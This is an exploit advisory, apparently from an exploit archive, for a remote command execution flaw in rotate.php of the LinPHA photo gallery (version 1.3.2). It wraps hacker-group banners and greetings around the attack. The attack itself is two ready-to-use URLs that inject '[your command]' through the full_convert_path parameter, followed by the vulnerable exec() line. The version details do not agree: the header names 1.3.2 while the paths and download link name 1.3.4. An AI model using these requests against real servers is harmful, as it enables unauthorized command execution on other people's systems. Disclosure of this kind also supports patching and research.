LinPHA <= 1.3.2 (rotate.php) Remote Command Execution Vulnerability

===================================================================
LinPHA <= 1.3.2 (rotate.php) Remote Command Execution Vulnerability
===================================================================

        __           __      ___
 __            __  /'__`\        /\ \__  /'__`\                
/\_\    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __       ___    ___     ___ ___         
\/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\    /'___\ / __`\ /' __` __`\  
 \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/  __/\ \__//\ \L\ \/\ \/\ \/\ \ 
  \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ /\_\ \____\ \____/\ \_\ \_\ \_\ 
   \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/ \/_/\/____/\/___/  \/_/\/_/\/_/
              \ \____/                                          
               \/___/
 
# ----------------------oOO---(_)---OOo-----------------------
# | __ __ | 
# | _____/ /_____ ______/ /_ __ ______ ______ | 
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ | 
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) | 
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ | 
# | Security Sn!pEr.S!Te /____/ 2o1o | 
# ------------------------------------------------------------
     Remote Command Execution Vulnerability
# ------------------------------------------------------------
--------------------------------------------------------------
LinPHA <== 1.3.2 ( rotate.php )
 
--------------------------------------------------------------
 
#[+] Author : Sn!pEr.S!Te Hacker # 
# [+] Email : [email protected] # 
# [+] T34M Sn!pEr.S!Te Hacker # 
# [+] 16-5-2010 #
# [+] Script : lmage » LinPHA Photo Gallery#
# [+] Download:http://sourceforge.net/projects/linpha/files/linpha/linpha-1.3.4/linpha-1.3.4.zip/download #
# Version: [1.3.2] #
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : linpha-1.3.4\actions\rotate.php
 
 
http://localhost/linpha-1.3.4\actions\rotate.php?full_convert_path= [your command]
 
 
htpp://127.0.0.1/linpha-1.3.4\actions\rotate.php?full_convert_path= [your command]
 
 
exec($full_convert_path.' -rotate '.$rotate.' '.escape_string($img2rotate).' '.escape_string($img2rotate));
 
line : 78
 
 
 
 
web site Favorites my  : http://inj3ct0r.com/  & http://www.hack0wn.com/ & http://www.exploit-db.com
 
 
 
friend my : liar - sm Hacker -baby hacker -dmar -saleh Hacker - ALhal alsab - 
            Mr.SaTaN - abo badr - aStoorh alqssim - Ramad Hacker- h-ex -
            yousfe - Hiter.3rb - QAHER ALRAFDE - DjHacker - My Heart - Mr.koka-



#  0day.today [2018-01-08]  #